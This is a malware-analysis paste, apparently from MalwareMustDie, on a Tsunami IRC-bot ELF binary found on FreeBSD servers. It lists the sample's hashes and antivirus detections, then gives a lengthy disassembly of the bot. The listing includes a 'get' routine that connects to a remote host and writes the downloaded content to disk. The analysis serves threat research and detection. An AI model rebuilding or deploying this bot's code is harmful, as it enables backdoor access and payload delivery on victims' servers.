Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #MalwareMustDie! Elf IRC-BOT on FreeBSD servers
- target was Linux OS, gcc compiled traces found.
- [0x00000000]> !date
- Thu May 30 20:43:54 JST 2013
- Analysis: http://malwaremustdie.blogspot.jp/2013/05/story-of-unix-trojan-tsunami-ircbot-w.html
- // hash: https://www.virustotal.com/en/file/6e4586e5ddf44da412e05543c275e466b9da0faa0cc20ee8a9cb2b2dfd48114e/analysis/1369913856/
- SHA256: 6e4586e5ddf44da412e05543c275e466b9da0faa0cc20ee8a9cb2b2dfd48114e
- SHA1: 13aa008b0f3c9e92450979ee52cb46accf49aff3
- MD5: 6547b92156b39cb3bb5371b17d2488f2
- File size: 18.5 KB ( 18902 bytes )
- File name: -bash
- File type: ELF
- Tags: elf
- Detection ratio: 7 / 47
- Analysis date: 2013-05-30 11:37:36 UTC ( 4 minutes ago )
- F-Secure : Generic.Malware.IFg.985D9435
- GData : ELF:Tsunami-L
- MicroWorld-eScan : Generic.Malware.IFg.985D9435
- Avast : ELF:Tsunami-L [Trj]
- Kaspersky : Backdoor.Linux.Tsunami.gen
- BitDefender : Generic.Malware.IFg.985D9435
- Emsisoft : Generic.Malware.IFg.985D9435 (B)
- // reversed:
- 08048d20: xor %ebp,%ebp
- 08048d22: push %ebp
- 08048d23: mov %esp,%ebp
- 08048d25: and $0xfffffff0,%esp
- 08048d28: lea 0x8(%ebp),%eax
- 08048d2b: sub $0x4,%esp
- 08048d2e: push %eax
- 08048d2f: pushl 0x4(%ebp)
- 08048d32: push %edx
- 08048d33: call 0x08048d40 <_start1>
- 08048d38: int3
- 08048d39: nop
- 08048d3a: nop
- 08048d3b: nop
- 08048d3c: nop
- 08048d3d: nop
- 08048d3e: nop
- 08048d3f: nop
- # 08048d40 <_start1>:
- 08048d40: push %ebp
- 08048d41: mov %esp,%ebp
- 08048d43: push %edi
- 08048d44: push %esi
- 08048d45: push %ebx
- 08048d46: sub $0xc,%esp
- 08048d49: mov 0xc(%ebp),%esi
- 08048d4c: mov 0x10(%ebp),%ebx
- 08048d4f: test %esi,%esi
- 08048d51: lea 0x4(%ebx,%esi,4),%edi
- 08048d55: mov %edi,0x804c744
- 08048d5b: jle 0x08048d92 <_start1+0x52>
- 08048d5d: mov (%ebx),%eax
- 08048d5f: test %eax,%eax
- 08048d61: je 0x08048d92 <_start1+0x52>
- 08048d63: mov %eax,0x804c240
- 08048d68: movzbl (%eax),%edx
- 08048d6b: test %dl,%dl
- 08048d6d: je 0x08048d92 <_start1+0x52>
- 08048d6f: add $0x1,%eax
- 08048d72: jmp 0x08048d7e <_start1+0x3e>
- 08048d74: movzbl (%eax),%edx
- 08048d77: add $0x1,%eax
- 08048d7a: test %dl,%dl
- 08048d7c: je 0x08048d92 <_start1+0x52>
- 08048d7e: cmp $0x2f,%dl
- 08048d81: jne 0x08048d74 <_start1+0x34>
- 08048d83: mov %eax,0x804c240
- 08048d88: movzbl (%eax),%edx
- 08048d8b: add $0x1,%eax
- 08048d8e: test %dl,%dl
- 08048d90: jne 0x08048d7e <_start1+0x3e>
- 08048d92: mov $0x804c0a8,%eax
- 08048d97: test %eax,%eax
- 08048d99: je 0x08048dcf <_start1+0x8f>
- 08048d9b: mov 0x8(%ebp),%eax
- 08048d9e: mov %eax,(%esp)
- 08048da1: call 0x08048ac4 <atexit@plt>
- 08048da6: movl $0x804a97c,(%esp)
- 08048dad: call 0x08048ac4 <atexit@plt>
- 08048db2: call 0x08048a00 <_init>
- 08048db7: mov %edi,0x8(%esp)
- 08048dbb: mov %ebx,0x4(%esp)
- 08048dbf: mov %esi,(%esp)
- 08048dc2: call 0x0804a400 <main>
- 08048dc7: mov %eax,(%esp)
- 08048dca: call 0x08048cb4 <exit@plt>
- 08048dcf: call 0x08048b04 <_init_tls@plt>
- 08048dd4: jmp 0x08048da6 <_start1+0x66>
- 08048dd6: nop
- 08048dd7: nop
- 08048dd8: nop
- 08048dd9: nop
- 08048dda: nop
- 08048ddb: nop
- 08048ddc: nop
- 08048ddd: nop
- 08048dde: nop
- 08048ddf: nop
- # 08048de0 <__do_global_dtors_aux>:
- 08048de0: push %ebp
- 08048de1: mov %esp,%ebp
- 08048de3: sub $0x8,%esp
- 08048de6: cmpb $0x0,0x804c318
- 08048ded: je 0x08048dfb <__do_global_dtors_aux+0x1b>
- 08048def: jmp 0x08048e0d <__do_global_dtors_aux+0x2d>
- 08048df1: add $0x4,%eax
- 08048df4: mov %eax,0x804c248
- 08048df9: call *%edx
- 08048dfb: mov 0x804c248,%eax
- 08048e00: mov (%eax),%edx
- 08048e02: test %edx,%edx
- 08048e04: jne 0x08048df1 <__do_global_dtors_aux+0x11>
- 08048e06: movb $0x1,0x804c318
- 08048e0d: leave
- 08048e0e: ret
- 08048e0f: nop
- # 08048e10 <frame_dummy>:
- 08048e10: push %ebp
- 08048e11: mov %esp,%ebp
- 08048e13: sub $0x8,%esp
- 08048e16: mov 0x804c0a4,%eax
- 08048e1b: test %eax,%eax
- 08048e1d: je 0x08048e31 <frame_dummy+0x21>
- 08048e1f: mov $0x0,%eax
- 08048e24: test %eax,%eax
- 08048e26: je 0x08048e31 <frame_dummy+0x21>
- 08048e28: movl $0x804c0a4,(%esp)
- 08048e2f: call *%eax
- 08048e31: leave
- 08048e32: ret
- 08048e33: nop
- 08048e34: nop
- 08048e35: nop
- 08048e36: nop
- 08048e37: nop
- 08048e38: nop
- 08048e39: nop
- 08048e3a: nop
- 08048e3b: nop
- 08048e3c: nop
- 08048e3d: nop
- 08048e3e: nop
- 08048e3f: nop
- # 08048e40 <strwildmatch>:
- 08048e40: push %ebp
- 08048e41: mov %esp,%ebp
- 08048e43: push %ebx
- 08048e44: sub $0x24,%esp
- 08048e47: mov 0x8(%ebp),%eax
- 08048e4a: movzbl (%eax),%eax
- 08048e4d: movsbl %al,%eax
- 08048e50: mov %eax,-0x18(%ebp)
- 08048e53: cmpl $0x2a,-0x18(%ebp)
- 08048e57: je 0x08048e7b <strwildmatch+0x3b>
- 08048e59: cmpl $0x3f,-0x18(%ebp)
- 08048e5d: je 0x08048ed2 <strwildmatch+0x92>
- 08048e5f: cmpl $0x0,-0x18(%ebp)
- 08048e63: je 0x08048e6a <strwildmatch+0x2a>
- 08048e65: jmp 0x08048f10 <strwildmatch+0xd0>
- 08048e6a: mov 0xc(%ebp),%eax
- 08048e6d: movzbl (%eax),%eax
- 08048e70: movsbl %al,%eax
- 08048e73: mov %eax,-0x14(%ebp)
- 08048e76: jmp 0x08048f6a <strwildmatch+0x12a>
- 08048e7b: mov 0x8(%ebp),%eax
- 08048e7e: add $0x1,%eax
- 08048e81: mov 0xc(%ebp),%edx
- 08048e84: mov %edx,0x4(%esp)
- 08048e88: mov %eax,(%esp)
- 08048e8b: call 0x08048e40 <strwildmatch>
- 08048e90: test %eax,%eax
- 08048e92: je 0x08048ec0 <strwildmatch+0x80>
- 08048e94: mov 0xc(%ebp),%eax
- 08048e97: movzbl (%eax),%eax
- 08048e9a: test %al,%al
- 08048e9c: je 0x08048eb7 <strwildmatch+0x77>
- 08048e9e: mov 0xc(%ebp),%eax
- 08048ea1: add $0x1,%eax
- 08048ea4: mov %eax,0x4(%esp)
- 08048ea8: mov 0x8(%ebp),%eax
- 08048eab: mov %eax,(%esp)
- 08048eae: call 0x08048e40 <strwildmatch>
- 08048eb3: test %eax,%eax
- 08048eb5: je 0x08048ec0 <strwildmatch+0x80>
- 08048eb7: movl $0x1,-0x10(%ebp)
- 08048ebe: jmp 0x08048ec7 <strwildmatch+0x87>
- 08048ec0: movl $0x0,-0x10(%ebp)
- 08048ec7: mov -0x10(%ebp),%eax
- 08048eca: mov %eax,-0x14(%ebp)
- 08048ecd: jmp 0x08048f6a <strwildmatch+0x12a>
- 08048ed2: mov 0xc(%ebp),%eax
- 08048ed5: movzbl (%eax),%eax
- 08048ed8: test %al,%al
- 08048eda: je 0x08048ef8 <strwildmatch+0xb8>
- 08048edc: mov 0xc(%ebp),%eax
- 08048edf: add $0x1,%eax
- 08048ee2: mov 0x8(%ebp),%edx
- 08048ee5: add $0x1,%edx
- 08048ee8: mov %eax,0x4(%esp)
- 08048eec: mov %edx,(%esp)
- 08048eef: call 0x08048e40 <strwildmatch>
- 08048ef4: test %eax,%eax
- 08048ef6: je 0x08048f01 <strwildmatch+0xc1>
- 08048ef8: movl $0x1,-0xc(%ebp)
- 08048eff: jmp 0x08048f08 <strwildmatch+0xc8>
- 08048f01: movl $0x0,-0xc(%ebp)
- 08048f08: mov -0xc(%ebp),%eax
- 08048f0b: mov %eax,-0x14(%ebp)
- 08048f0e: jmp 0x08048f6a <strwildmatch+0x12a>
- 08048f10: mov 0x8(%ebp),%eax
- 08048f13: movzbl (%eax),%eax
- 08048f16: movsbl %al,%eax
- 08048f19: mov %eax,(%esp)
- 08048f1c: call 0x08048f80 <__sbtoupper>
- 08048f21: mov %eax,%ebx
- 08048f23: mov 0xc(%ebp),%eax
- 08048f26: movzbl (%eax),%eax
- 08048f29: movsbl %al,%eax
- 08048f2c: mov %eax,(%esp)
- 08048f2f: call 0x08048f80 <__sbtoupper>
- 08048f34: cmp %eax,%ebx
- 08048f36: jne 0x08048f54 <strwildmatch+0x114>
- 08048f38: mov 0xc(%ebp),%eax
- 08048f3b: add $0x1,%eax
- 08048f3e: mov 0x8(%ebp),%edx
- 08048f41: add $0x1,%edx
- 08048f44: mov %eax,0x4(%esp)
- 08048f48: mov %edx,(%esp)
- 08048f4b: call 0x08048e40 <strwildmatch>
- 08048f50: test %eax,%eax
- 08048f52: je 0x08048f5d <strwildmatch+0x11d>
- 08048f54: movl $0x1,-0x8(%ebp)
- 08048f5b: jmp 0x08048f64 <strwildmatch+0x124>
- 08048f5d: movl $0x0,-0x8(%ebp)
- 08048f64: mov -0x8(%ebp),%eax
- 08048f67: mov %eax,-0x14(%ebp)
- 08048f6a: mov -0x14(%ebp),%eax
- 08048f6d: add $0x24,%esp
- 08048f70: pop %ebx
- 08048f71: pop %ebp
- 08048f72: ret
- 08048f73: lea 0x0(%esi),%esi
- 08048f79: lea 0x0(%edi),%edi
- # 08048f80 <__sbtoupper>:
- 08048f80: push %ebp
- 08048f81: mov %esp,%ebp
- 08048f83: sub $0x4,%esp
- 08048f86: cmpl $0x0,0x8(%ebp)
- 08048f8a: js 0x08048fab <__sbtoupper+0x2b>
- 08048f8c: mov 0x804c300,%eax
- 08048f91: cmp %eax,0x8(%ebp)
- 08048f94: jge 0x08048fab <__sbtoupper+0x2b>
- 08048f96: mov 0x804c314,%edx
- 08048f9c: mov 0x8(%ebp),%eax
- 08048f9f: mov 0x834(%edx,%eax,4),%eax
- 08048fa6: mov %eax,-0x4(%ebp)
- 08048fa9: jmp 0x08048fb1 <__sbtoupper+0x31>
- 08048fab: mov 0x8(%ebp),%eax
- 08048fae: mov %eax,-0x4(%ebp)
- 08048fb1: mov -0x4(%ebp),%eax
- 08048fb4: leave
- 08048fb5: ret
- 08048fb6: lea 0x0(%esi),%esi
- 08048fb9: lea 0x0(%edi),%edi
- # 08048fc0 <send_msg>:
- 08048fc0: push %ebp
- 08048fc1: mov %esp,%ebp
- 08048fc3: sub $0x28,%esp
- 08048fc6: lea 0x10(%ebp),%eax
- 08048fc9: mov %eax,-0x4(%ebp)
- 08048fcc: mov -0x4(%ebp),%eax
- 08048fcf: mov %eax,0x8(%esp)
- 08048fd3: mov 0xc(%ebp),%eax
- 08048fd6: mov %eax,0x4(%esp)
- 08048fda: movl $0x804c340,(%esp)
- 08048fe1: call 0x08048c74 <vsprintf@plt>
- 08048fe6: movl $0x804c340,(%esp)
- 08048fed: call 0x08048b84 <strlen@plt>
- 08048ff2: mov %eax,0x8(%esp)
- 08048ff6: movl $0x804c340,0x4(%esp)
- 08048ffe: mov 0x8(%ebp),%eax
- 08049001: mov %eax,(%esp)
- 08049004: call 0x08048cf4 <write@plt>
- 08049009: leave
- 0804900a: ret
- 0804900b: nop
- 0804900c: lea 0x0(%esi),%esi
- # 08049010 <mfork>:
- 08049010: push %ebp
- 08049011: mov %esp,%ebp
- 08049013: sub $0x18,%esp
- 08049016: call 0x08048a84 <fork@plt>
- 0804901b: mov %eax,-0xc(%ebp)
- 0804901e: cmpl $0x0,-0xc(%ebp)
- 08049022: jne 0x0804902f <mfork+0x1f>
- 08049024: mov -0xc(%ebp),%eax
- 08049027: mov %eax,-0x14(%ebp)
- 0804902a: jmp 0x080490bb <mfork+0xab>
- 0804902f: mov 0x804c32c,%eax
- 08049034: add $0x1,%eax
- 08049037: mov %eax,0x804c32c
- 0804903c: mov 0x804c32c,%eax
- 08049041: add $0x1,%eax
- 08049044: shl $0x2,%eax
- 08049047: mov %eax,(%esp)
- 0804904a: call 0x08048a24 <malloc@plt>
- 0804904f: mov %eax,-0x8(%ebp)
- 08049052: movl $0x0,-0x4(%ebp)
- 08049059: jmp 0x0804907e <mfork+0x6e>
- 0804905b: mov -0x4(%ebp),%eax
- 0804905e: shl $0x2,%eax
- 08049061: mov %eax,%ecx
- 08049063: add -0x8(%ebp),%ecx
- 08049066: mov -0x4(%ebp),%eax
- 08049069: shl $0x2,%eax
- 0804906c: mov %eax,%edx
- 0804906e: mov 0x804c768,%eax
- 08049073: lea (%edx,%eax,1),%eax
- 08049076: mov (%eax),%eax
- 08049078: mov %eax,(%ecx)
- 0804907a: addl $0x1,-0x4(%ebp)
- 0804907e: mov 0x804c32c,%eax
- 08049083: sub $0x1,%eax
- 08049086: cmp -0x4(%ebp),%eax
- 08049089: ja 0x0804905b <mfork+0x4b>
- 0804908b: mov -0x8(%ebp),%edx
- 0804908e: sub $0x4,%edx
- 08049091: mov 0x804c32c,%eax
- 08049096: shl $0x2,%eax
- 08049099: add %eax,%edx
- 0804909b: mov -0xc(%ebp),%eax
- 0804909e: mov %eax,(%edx)
- 080490a0: mov 0x804c768,%eax
- 080490a5: mov %eax,(%esp)
- 080490a8: call 0x08048d04 <free@plt>
- 080490ad: mov -0x8(%ebp),%eax
- 080490b0: mov %eax,0x804c768
- 080490b5: mov -0xc(%ebp),%eax
- 080490b8: mov %eax,-0x14(%ebp)
- 080490bb: mov -0x14(%ebp),%eax
- 080490be: leave
- 080490bf: ret
- # 080490c0 <filter>:
- 080490c0: push %ebp
- 080490c1: mov %esp,%ebp
- 080490c3: push %ebx
- 080490c4: sub $0x4,%esp
- 080490c7: jmp 0x080490e0 <filter+0x20>
- 080490c9: mov 0x8(%ebp),%ebx
- 080490cc: sub $0x1,%ebx
- 080490cf: mov 0x8(%ebp),%eax
- 080490d2: mov %eax,(%esp)
- 080490d5: call 0x08048b84 <strlen@plt>
- 080490da: lea (%ebx,%eax,1),%eax
- 080490dd: movb $0x0,(%eax)
- 080490e0: mov 0x8(%ebp),%ebx
- 080490e3: sub $0x1,%ebx
- 080490e6: mov 0x8(%ebp),%eax
- 080490e9: mov %eax,(%esp)
- 080490ec: call 0x08048b84 <strlen@plt>
- 080490f1: lea (%ebx,%eax,1),%eax
- 080490f4: movzbl (%eax),%eax
- 080490f7: cmp $0xd,%al
- 080490f9: je 0x080490c9 <filter+0x9>
- 080490fb: mov 0x8(%ebp),%ebx
- 080490fe: sub $0x1,%ebx
- 08049101: mov 0x8(%ebp),%eax
- 08049104: mov %eax,(%esp)
- 08049107: call 0x08048b84 <strlen@plt>
- 0804910c: lea (%ebx,%eax,1),%eax
- 0804910f: movzbl (%eax),%eax
- 08049112: cmp $0xa,%al
- 08049114: je 0x080490c9 <filter+0x9>
- 08049116: add $0x4,%esp
- 08049119: pop %ebx
- 0804911a: pop %ebp
- 0804911b: ret
- 0804911c: lea 0x0(%esi),%esi
- # 08049120 <makestring>:
- 08049120: push %ebp
- 08049121: mov %esp,%ebp
- 08049123: push %esi
- 08049124: push %ebx
- 08049125: sub $0x30,%esp
- 08049128: movl $0x9,-0x10(%ebp)
- 0804912f: mov -0x10(%ebp),%eax
- 08049132: add $0x1,%eax
- 08049135: mov %eax,(%esp)
- 08049138: call 0x08048a24 <malloc@plt>
- 0804913d: mov %eax,-0x14(%ebp)
- 08049140: mov -0x10(%ebp),%eax
- 08049143: add $0x1,%eax
- 08049146: mov %eax,0x8(%esp)
- 0804914a: movl $0x0,0x4(%esp)
- 08049152: mov -0x14(%ebp),%eax
- 08049155: mov %eax,(%esp)
- 08049158: call 0x08048c94 <memset@plt>
- 0804915d: movl $0x0,-0xc(%ebp)
- 08049164: jmp 0x080491a8 <makestring+0x88>
- 08049166: mov -0xc(%ebp),%eax
- 08049169: mov %eax,%ebx
- 0804916b: add -0x14(%ebp),%ebx
- 0804916e: call 0x08048b14 <rand@plt>
- 08049173: mov %eax,%ecx
- 08049175: movl $0x4ec4ec4f,-0x20(%ebp)
- 0804917c: mov -0x20(%ebp),%eax
- 0804917f: imul %ecx
- 08049181: sar $0x3,%edx
- 08049184: mov %ecx,%eax
- 08049186: sar $0x1f,%eax
- 08049189: mov %edx,%esi
- 0804918b: sub %eax,%esi
- 0804918d: mov %esi,-0x1c(%ebp)
- 08049190: imul $0x1a,-0x1c(%ebp),%eax
- 08049194: mov %ecx,%edx
- 08049196: sub %eax,%edx
- 08049198: mov %edx,-0x1c(%ebp)
- 0804919b: movzbl -0x1c(%ebp),%eax
- 0804919f: add $0x41,%eax
- 080491a2: mov %al,(%ebx)
- 080491a4: addl $0x1,-0xc(%ebp)
- 080491a8: mov -0xc(%ebp),%eax
- 080491ab: cmp -0x10(%ebp),%eax
- 080491ae: jl 0x08049166 <makestring+0x46>
- 080491b0: mov -0x14(%ebp),%eax
- 080491b3: add $0x30,%esp
- 080491b6: pop %ebx
- 080491b7: pop %esi
- 080491b8: pop %ebp
- 080491b9: ret
- 080491ba: lea 0x0(%esi),%esi
- # 080491c0 <pow>:
- 080491c0: push %ebp
- 080491c1: mov %esp,%ebp
- 080491c3: sub $0xc,%esp
- 080491c6: cmpl $0x0,0xc(%ebp)
- 080491ca: jne 0x080491d5 <pow+0x15>
- 080491cc: movl $0x1,-0x4(%ebp)
- 080491d3: jmp 0x08049201 <pow+0x41>
- 080491d5: cmpl $0x1,0xc(%ebp)
- 080491d9: jne 0x080491e3 <pow+0x23>
- 080491db: mov 0x8(%ebp),%eax
- 080491de: mov %eax,-0x4(%ebp)
- 080491e1: jmp 0x08049201 <pow+0x41>
- 080491e3: mov 0xc(%ebp),%eax
- 080491e6: sub $0x1,%eax
- 080491e9: mov %eax,0x4(%esp)
- 080491ed: mov 0x8(%ebp),%eax
- 080491f0: mov %eax,(%esp)
- 080491f3: call 0x080491c0 <pow>
- 080491f8: mov %eax,%edx
- 080491fa: imul 0x8(%ebp),%edx
- 080491fe: mov %edx,-0x4(%ebp)
- 08049201: mov -0x4(%ebp),%eax
- 08049204: leave
- 08049205: ret
- 08049206: lea 0x0(%esi),%esi
- 08049209: lea 0x0(%edi),%edi
- # 08049210 <in_cksum>:
- 08049210: push %ebp
- 08049211: mov %esp,%ebp
- 08049213: sub $0x1c,%esp
- 08049216: mov 0xc(%ebp),%eax
- 08049219: mov %eax,-0x1c(%ebp)
- 0804921c: mov 0x8(%ebp),%edx
- 0804921f: mov %edx,-0x18(%ebp)
- 08049222: movl $0x0,-0x14(%ebp)
- 08049229: movw $0x0,-0x2(%ebp)
- 0804922f: jmp 0x08049245 <in_cksum+0x35>
- 08049231: mov -0x18(%ebp),%edx
- 08049234: movzwl (%edx),%eax
- 08049237: movzwl %ax,%eax
- 0804923a: add %eax,-0x14(%ebp)
- 0804923d: addl $0x2,-0x18(%ebp)
- 08049241: subl $0x2,-0x1c(%ebp)
- 08049245: cmpl $0x1,-0x1c(%ebp)
- 08049249: jg 0x08049231 <in_cksum+0x21>
- 0804924b: cmpl $0x1,-0x1c(%ebp)
- 0804924f: jne 0x08049266 <in_cksum+0x56>
- 08049251: lea -0x2(%ebp),%edx
- 08049254: mov -0x18(%ebp),%eax
- 08049257: movzbl (%eax),%eax
- 0804925a: mov %al,(%edx)
- 0804925c: movzwl -0x2(%ebp),%eax
- 08049260: movzwl %ax,%eax
- 08049263: add %eax,-0x14(%ebp)
- 08049266: mov -0x14(%ebp),%edx
- 08049269: sar $0x10,%edx
- 0804926c: movzwl -0x14(%ebp),%eax
- 08049270: add %eax,%edx
- 08049272: mov %edx,-0x14(%ebp)
- 08049275: mov -0x14(%ebp),%eax
- 08049278: sar $0x10,%eax
- 0804927b: add %eax,-0x14(%ebp)
- 0804927e: movzwl -0x14(%ebp),%eax
- 08049282: not %eax
- 08049284: mov %ax,-0x2(%ebp)
- 08049288: movzwl -0x2(%ebp),%eax
- 0804928c: movzwl %ax,%eax
- 0804928f: leave
- 08049290: ret
- 08049291: jmp 0x080492a0 <get>
- 08049293: nop
- 08049294: nop
- 08049295: nop
- 08049296: nop
- 08049297: nop
- 08049298: nop
- 08049299: nop
- 0804929a: nop
- 0804929b: nop
- 0804929c: nop
- 0804929d: nop
- 0804929e: nop
- 0804929f: nop
- # 080492a0 <get>:
- 080492a0: push %ebp
- 080492a1: mov %esp,%ebp
- 080492a3: push %ebx
- 080492a4: sub $0x1454,%esp
- 080492aa: mov 0xc(%ebp),%eax
- 080492ad: mov %eax,(%esp)
- 080492b0: call 0x08049010 <mfork>
- 080492b5: test %eax,%eax
- 080492b7: jne 0x0804969e <get+0x3fe>
- 080492bd: cmpl $0x1,0x10(%ebp)
- 080492c1: jg 0x080492e9 <get+0x49>
- 080492c3: mov 0xc(%ebp),%eax
- 080492c6: mov %eax,0x8(%esp)
- 080492ca: movl $0x804a9a8,0x4(%esp)
- 080492d2: mov 0x8(%ebp),%eax
- 080492d5: mov %eax,(%esp)
- 080492d8: call 0x08048fc0 <send_msg>
- 080492dd: movl $0x0,(%esp)
- 080492e4: call 0x08048cb4 <exit@plt>
- 080492e9: movl $0x0,0x8(%esp)
- 080492f1: movl $0x1,0x4(%esp)
- 080492f9: movl $0x2,(%esp)
- 08049300: call 0x08048ae4 <socket@plt>
- 08049305: mov %eax,-0x28(%ebp)
- 08049308: cmpl $0xffffffff,-0x28(%ebp)
- 0804930c: jne 0x08049334 <get+0x94>
- 0804930e: mov 0xc(%ebp),%eax
- 08049311: mov %eax,0x8(%esp)
- 08049315: movl $0x804a9cc,0x4(%esp)
- 0804931d: mov 0x8(%ebp),%eax
- 08049320: mov %eax,(%esp)
- 08049323: call 0x08048fc0 <send_msg>
- 08049328: movl $0x0,(%esp)
- 0804932f: call 0x08048cb4 <exit@plt>
- 08049334: mov 0x14(%ebp),%eax
- 08049337: add $0x4,%eax
- 0804933a: mov (%eax),%eax
- 0804933c: movl $0x7,0x8(%esp)
- 08049344: movl $0x804a9f2,0x4(%esp)
- 0804934c: mov %eax,(%esp)
- 0804934f: call 0x08048ba4 <strncmp@plt>
- 08049354: test %eax,%eax
- 08049356: jne 0x08049377 <get+0xd7>
- 08049358: mov 0x14(%ebp),%eax
- 0804935b: add $0x4,%eax
- 0804935e: mov (%eax),%eax
- 08049360: add $0x7,%eax
- 08049363: mov %eax,0x4(%esp)
- 08049367: lea -0x438(%ebp),%eax
- 0804936d: mov %eax,(%esp)
- 08049370: call 0x08048ca4 <strcpy@plt>
- 08049375: jmp 0x08049391 <get+0xf1>
- 08049377: mov 0x14(%ebp),%eax
- 0804937a: add $0x4,%eax
- 0804937d: mov (%eax),%eax
- 0804937f: mov %eax,0x4(%esp)
- 08049383: lea -0x438(%ebp),%eax
- 08049389: mov %eax,(%esp)
- 0804938c: call 0x08048ca4 <strcpy@plt>
- 08049391: movl $0x0,-0x24(%ebp)
- 08049398: jmp 0x0804939e <get+0xfe>
- 0804939a: addl $0x1,-0x24(%ebp)
- 0804939e: mov -0x24(%ebp),%ebx
- 080493a1: lea -0x438(%ebp),%eax
- 080493a7: mov %eax,(%esp)
- 080493aa: call 0x08048b84 <strlen@plt>
- 080493af: cmp %eax,%ebx
- 080493b1: jae 0x080493c2 <get+0x122>
- 080493b3: mov -0x24(%ebp),%eax
- 080493b6: movzbl -0x438(%ebp,%eax,1),%eax
- 080493be: cmp $0x2f,%al
- 080493c0: jne 0x0804939a <get+0xfa>
- 080493c2: mov -0x24(%ebp),%eax
- 080493c5: movb $0x0,-0x438(%ebp,%eax,1)
- 080493cd: movb $0x2,-0x37(%ebp)
- 080493d1: movw $0x5000,-0x36(%ebp)
- 080493d7: lea -0x438(%ebp),%eax
- 080493dd: mov %eax,(%esp)
- 080493e0: call 0x08048a94 <__inet_addr@plt>
- 080493e5: mov %eax,-0x1c(%ebp)
- 080493e8: cmpl $0xffffffff,-0x1c(%ebp)
- 080493ec: jne 0x08049453 <get+0x1b3>
- 080493ee: lea -0x438(%ebp),%eax
- 080493f4: mov %eax,(%esp)
- 080493f7: call 0x08048c14 <gethostbyname@plt>
- 080493fc: mov %eax,-0x14(%ebp)
- 080493ff: cmpl $0x0,-0x14(%ebp)
- 08049403: jne 0x0804942b <get+0x18b>
- 08049405: mov 0xc(%ebp),%eax
- 08049408: mov %eax,0x8(%esp)
- 0804940c: movl $0x804a9fc,0x4(%esp)
- 08049414: mov 0x8(%ebp),%eax
- 08049417: mov %eax,(%esp)
- 0804941a: call 0x08048fc0 <send_msg>
- 0804941f: movl $0x0,(%esp)
- 08049426: call 0x08048cb4 <exit@plt>
- 0804942b: mov -0x14(%ebp),%eax
- 0804942e: mov 0xc(%eax),%eax
- 08049431: mov %eax,%edx
- 08049433: mov -0x14(%ebp),%eax
- 08049436: mov 0x10(%eax),%eax
- 08049439: mov (%eax),%eax
- 0804943b: mov %edx,0x8(%esp)
- 0804943f: mov %eax,0x4(%esp)
- 08049443: lea -0x38(%ebp),%eax
- 08049446: add $0x4,%eax
- 08049449: mov %eax,(%esp)
- 0804944c: call 0x08048c64 <memcpy@plt>
- 08049451: jmp 0x08049459 <get+0x1b9>
- 08049453: mov -0x1c(%ebp),%eax
- 08049456: mov %eax,-0x34(%ebp)
- 08049459: movl $0x8,0x8(%esp)
- 08049461: movl $0x0,0x4(%esp)
- 08049469: lea -0x38(%ebp),%eax
- 0804946c: add $0x8,%eax
- 0804946f: mov %eax,(%esp)
- 08049472: call 0x08048c94 <memset@plt>
- 08049477: lea -0x38(%ebp),%eax
- 0804947a: movl $0x10,0x8(%esp)
- 08049482: mov %eax,0x4(%esp)
- 08049486: mov -0x28(%ebp),%eax
- 08049489: mov %eax,(%esp)
- 0804948c: call 0x08048af4 <connect@plt>
- 08049491: test %eax,%eax
- 08049493: je 0x080494bb <get+0x21b>
- 08049495: mov 0xc(%ebp),%eax
- 08049498: mov %eax,0x8(%esp)
- 0804949c: movl $0x804aa24,0x4(%esp)
- 080494a4: mov 0x8(%ebp),%eax
- 080494a7: mov %eax,(%esp)
- 080494aa: call 0x08048fc0 <send_msg>
- 080494af: movl $0x0,(%esp)
- 080494b6: call 0x08048cb4 <exit@plt>
- 080494bb: mov -0x24(%ebp),%eax
- 080494be: mov %eax,%edx
- 080494c0: lea -0x438(%ebp),%eax
- 080494c6: add %edx,%eax
- 080494c8: lea 0x1(%eax),%edx
- 080494cb: lea -0x438(%ebp),%eax
- 080494d1: mov %eax,0xc(%esp)
- 080494d5: mov %edx,0x8(%esp)
- 080494d9: movl $0x804aa4c,0x4(%esp)
- 080494e1: mov -0x28(%ebp),%eax
- 080494e4: mov %eax,(%esp)
- 080494e7: call 0x08048fc0 <send_msg>
- 080494ec: mov 0x804c9a0,%eax
- 080494f1: mov %eax,0x8(%esp)
- 080494f5: movl $0x804ab60,0x4(%esp)
- 080494fd: mov 0x8(%ebp),%eax
- 08049500: mov %eax,(%esp)
- 08049503: call 0x08048fc0 <send_msg>
- 08049508: mov 0x14(%ebp),%eax
- 0804950b: add $0x8,%eax
- 0804950e: mov (%eax),%eax
- 08049510: movl $0x804ab7d,0x4(%esp)
- 08049518: mov %eax,(%esp)
- 0804951b: call 0x08048ce4 <fopen@plt>
- 08049520: mov %eax,-0x18(%ebp)
- 08049523: movl $0x0,0xc(%esp)
- 0804952b: movl $0x1000,0x8(%esp)
- 08049533: lea -0x1438(%ebp),%eax
- 08049539: mov %eax,0x4(%esp)
- 0804953d: mov -0x28(%ebp),%eax
- 08049540: mov %eax,(%esp)
- 08049543: call 0x08048bd4 <recv@plt>
- 08049548: mov %eax,-0x10(%ebp)
- 0804954b: cmpl $0x0,-0x10(%ebp)
- 0804954f: jle 0x080495dd <get+0x33d>
- 08049555: cmpl $0xfff,-0x10(%ebp)
- 0804955c: jg 0x08049569 <get+0x2c9>
- 0804955e: mov -0x10(%ebp),%eax
- 08049561: movb $0x0,-0x1438(%ebp,%eax,1)
- 08049569: movl $0x0,-0x20(%ebp)
- 08049570: jmp 0x080495d0 <get+0x330>
- 08049572: mov -0x20(%ebp),%eax
- 08049575: mov %eax,%edx
- 08049577: lea -0x1438(%ebp),%eax
- 0804957d: add %edx,%eax
- 0804957f: movl $0x4,0x8(%esp)
- 08049587: movl $0x804ab80,0x4(%esp)
- 0804958f: mov %eax,(%esp)
- 08049592: call 0x08048ba4 <strncmp@plt>
- 08049597: test %eax,%eax
- 08049599: jne 0x080495cc <get+0x32c>
- 0804959b: addl $0x4,-0x20(%ebp)
- 0804959f: jmp 0x080495c2 <get+0x322>
- 080495a1: mov -0x20(%ebp),%eax
- 080495a4: movzbl -0x1438(%ebp,%eax,1),%eax
- 080495ac: movzbl %al,%edx
- 080495af: mov -0x18(%ebp),%eax
- 080495b2: mov %eax,0x4(%esp)
- 080495b6: mov %edx,(%esp)
- 080495b9: call 0x08048a64 <fputc@plt>
- 080495be: addl $0x1,-0x20(%ebp)
- 080495c2: mov -0x20(%ebp),%eax
- 080495c5: cmp -0x10(%ebp),%eax
- 080495c8: jl 0x080495a1 <get+0x301>
- 080495ca: jmp 0x080495dd <get+0x33d>
